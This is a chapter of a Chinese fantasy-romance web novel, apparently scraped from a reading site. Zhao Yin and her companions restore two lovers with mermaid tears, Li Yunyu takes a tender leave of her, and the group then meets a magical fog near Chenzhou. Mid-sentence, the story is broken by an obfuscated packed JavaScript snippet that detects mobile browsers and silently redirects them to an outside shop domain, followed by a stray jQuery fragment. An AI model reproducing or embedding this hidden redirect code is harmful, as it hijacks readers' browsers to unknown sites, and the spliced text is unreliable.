文趣网 > 其他小说 > 山之阿 > 28. 第二十八章
    空气里有了落寞的气息,山蝴蝶忽明忽暗。

    赵吟抱着双膝坐在地上,为难地看向山洞里。她不能罔顾孟槐夏的意志,强行带她去见兰章。

    明明离胜利只有一步之遥,但在这时,他们都有功亏一篑的预感。

    李春序双眼无神,吴风依长吁短叹,李韫玉抱着胳膊垂着眼,唯有张鸣精神抖擞地站在一边,清咳了几下。

    “你们怎么不问问我?”

    众人都看向他:“问你什么?”

    “问我有没有什么办法破解此局!”

    众人不说话,等着他自己说下去。

    张鸣不再故作高深,他笑得很得意,“以浮生之水饮下鲛人之泪,可在一刻钟内使人返老还童!”

    他在袖子里摸了半天,摸出一个小白瓷瓶,晃了晃,“我有浮生之水!”

    赵吟接着道:“我有鲛人之泪。”

    吴风依哈大笑,“好!好!”

    重回姜阿公的小院,每个人的脸上不再是愁眉苦眼。

    桌上摆着荷包,里面就是鲛人的相思泪。

    赵吟叮嘱:“谁拿着荷包,谁就会出现与伤寒类似的症状。”

    吴风依道:“只能让阿韫拿着了,他有伤在身,不便搬重物。”

    从山下到真言壁的路程远远不止一刻钟,而浮生之水和鲛人眼泪的功效只有一刻钟,故而他们决定将冰封的兰章搬到山上。

    “你们俩先去休息吧,剩下的就交给阿韫和我们了!”

    挨到竹床的一瞬间,连日的疲乏翻涌而来,赵吟几乎是沾枕即眠,她在黎明到来前的时刻坠入梦境,又在月亮朦胧的时刻醒来。

    外面闹闹嚷嚷,姜阿公洪亮的声音传来。

    “我家的鸡鸭都没瘦!欸不对……好像少了两只!”

    沉寂很多天的村庄恢复如初,村民们的谈笑声再度响起。姜阿公的院子里热闹非凡,村民们聚在这里杀鸡宰鹅,说是要招待恩人贵客。

    月上中天,赵吟毫无睡意,她披上衣裳,踱步至院子里。

    栅栏之外有一人负手而立,似是在等待着什么。

    赵吟走过去,那人也转过身。

    李长吉。

    “噢真巧!我正好在等阿吟姑娘。”

    “有什么事儿吗?”

    “有东西要还给你。”

    是山心玉髓。

    紫色的晶石重新回到赵吟的手掌,她不可思议地抬起头,终于在此时问出了她一直想问的事情。

    “后来呢?”

    “随我去看看吧!”

    熟悉的山洞出现在眼前,脚下是柔软的泥土,伴随着香草的气息。

    洞内有一缕一缕的光,偶尔闪动。

    赵吟听见了水声。

    在光亮乍现的瞬间,她看见水里的鲛人。他正随波起舞。

    水面上有藤蔓织就的秋千,一名女子坐在上面吹竹笛。

    “是兰章和孟槐夏?”

    赵吟扭头看向李长吉,然后惊讶地睁大眼。

    她记忆中的李长吉是一个没牙的老头,或许常年被异化之山奴役,看起来有些可怜。但现在的李长吉脊背挺直双眼明亮,嘴里一口好牙。

    他笑了笑,看向那些似虚还实的画面,“是他们送我的。”

    赵吟微笑,“这座山,从此就是孟槐夏与兰章之山。”

    他们失去了百年,却也获得了千年万年。

    万籁俱寂,李长吉将赵吟送回小院。

    她仍然不困,躺在竹床上的时候神思清明。

    隔壁住的是李韫玉。

    赵吟侧过身,面对着墙壁。

    他的伤好了吗?这几日忙东忙西,都没来得及查看他的伤势。

    此地事了,她即将启程去下一个地方,那他呢?

    伸手不见五指的黑暗里,赵吟听见自己的心跳,也听见三声隐约的敲击。

    听错了吗?她屏住呼吸。

    三声缓慢而又清晰的敲击再次传进她的耳朵。

    在那些隔墙而居的日子里,她总是很期待花园侧门处的敲门声。

    三声是“出来玩”,五声是“明天早点起床”。在这个不知姓名的小村庄,她久违地回到年少。

    赵吟推开门,隔壁也随之“吱呀”一声。

    她侧过头,望进李韫玉的眼睛里。

    地上树影与月影婆娑,夏夜的微风凉爽怡人。两人并排坐在走廊下的竹椅上,谁也没有开口说话。

    肩上一沉,赵吟呼吸一滞。

    察觉到赵吟的顺从,李韫玉悄悄弯唇角。在那些亲密无间的岁月里,他并没有拥抱过她,也没有这样靠在她的肩膀。

    他早就想这样做了,在后来的无数个梦里,他已经这样做了。

    鼻尖都是她的气息,不够,还不够。

    李韫玉伸出手,搂住赵吟的腰,怀抱间都是她的呼吸。

    这样,他满足了。

    他想起在蒲月山的时候,那时他读到一首诗:“打杀长鸣鸡,弹去乌臼鸟。愿得连暝不复曙,一岁都一晓。”*

    好好的为什么要打杀长鸣鸡呢?

    他跑去问赵吟,赵吟说,因为鸡叫意味着黎明,而黎明意味着分离,女孩子想要跟心上人在一起,所以希望天不再亮。

    他说,好粗野!不光要打杀长鸣鸡,还要弹走乌臼鸟!

    赵吟听罢转过身去,说,男人就是这样。

    而现在,他懂得了。

    其实他觉得自己懂得得更早,在还没读到这首诗的时候,他就希望夏天不要结束,秋天不要到。

    虽时代不同用语不同,但儿时的他,与千百年前的这名女子确实有着同样的心境。

    夏天会结束,天也会亮。

    天亮了,刘月回也来了。

    他循着李韫玉留下的印记来接他。

    天空如琉璃,刘月回牵着两匹马停在姜阿公门外,然后径自朝赵吟走来,对她抱拳道:“阿吟姑娘,百闻不如一见,在下刘月回。”

    看见赵吟脸上的疑惑,他随之朝李韫玉看了一眼,笑着道:“我与阿韫同样青梅竹马!”

    他的到来让李韫玉转瞬回到现实,就像刚刚从一场绮梦中苏醒。

    在这里,他看到了鲛人,山蝴蝶……每日忙忙碌碌,却都不是为了尘世之事。

    现在,他要回到属于他的世界去了。

    赵吟李春序吴风依都站在村口处相送,赵吟折下两

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561030|202654||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    枝柳递到李韫玉和刘月回手中。

    “万事小心。”

    马蹄声越来越轻微,赵吟他们也往回走。

    远去的马蹄声又渐渐变大,三人诧异地转回身,见李韫玉一人折返回来,他飞身下马,朝此奔跑而来,然后紧紧地抱住赵吟。

    “下次再遇见,记得叫住我。”

    言罢,回身上马,扬长而去。

    呆愣原地的吴风依好一会儿才反应过来,结结巴巴:“阿韫阿韫他他他……阿吟……”

    他扭头看向李春序,分外怪异道:“你怎么一点都不惊讶?”

    李春序抱着胳膊得意一笑:“因为我看见过——走马灯。”

    那股得意劲儿太碍眼,他索性看向赵吟,“阿吟,接下来我们去哪儿?”

    “塵州。”

    塵州郊外,本来阳光明媚,却天降大雾,赵吟一行人在这里转悠了半个时辰,怎么也找不到城门。

    他们在农田和树林间来回走,不管朝哪个方向走去,最后都会回到原点。

    吴风依看着浓雾道:“这不会是迷障吧?”

    李春序掐了他一把,吴风依痛呼出声:“你干嘛!”

    李春序点点头:“会痛,看来我们还在现实里!”

    赵吟道:“这个雾,好像变淡了。”

    确实,刚开始他们只能看见前方一小段路,现在已经可以看见天空和远处的山峦田野。

    忽然下起了毛毛细雨,三人跳下马,找了块树荫避雨。

    吴风依道:“不同寻常,这可是塵州郊外,但走这么久,一个人都没见到!”

    赵吟接口:“还有这大雾,感觉想把我们困在这里。”

    李春序抱紧胳膊,往赵吟那边挪了挪。

    赵吟叮嘱道:“现在开始我们彼此要寸步不离。”

    雨越下越大,这块树荫已经挡不住倾斜的雨滴,他们头发贴着脸皮,身上打起冷战。

    赵吟疲惫地朝后靠去,突然发现背后硌得慌,她连忙转身去抚摸树干,发现上面有一个记号,指向东面。

    脚下枯枝树叶偶尔发出响声,更加彰显这一片空寂。

    她起身,抚摸每棵树的树干,然后停住,“标记到这里没有了。”

    一片树叶落到李春序额头上,她哎哟一声,将树叶扔远。

    又一片树叶落到赵吟额头上,她将树叶拿在手中,翻来覆去看也看不出个所以然,索性将树叶举起,对着微光细看。

    上面是一幅画,一个人叩门。

    吴风依和李春序也看到了,两人干瞪着眼。

    赵吟举起手,做出叩门的动作。

    李春序大惊失色,握住她的手,摇摇头。

    赵吟失笑:“难道我们要一直困在这里吗?”

    李春序缓缓松手,赵吟看着前方,虚空叩门。

    雾气开始游移,周围的景象快速变换,一会儿是长满芦苇的河畔,一会儿是满是硝烟的战场,一会儿又变成假山流水的花园。

    他们感到眩晕,纷纷闭上眼睛,再睁开眼,雾气已经消失不见,天际悬挂一弯彩虹,眼前忽而出现一座三层客栈。

    斑驳的木门紧闭,上有一块牌匾,云:隙间一盏。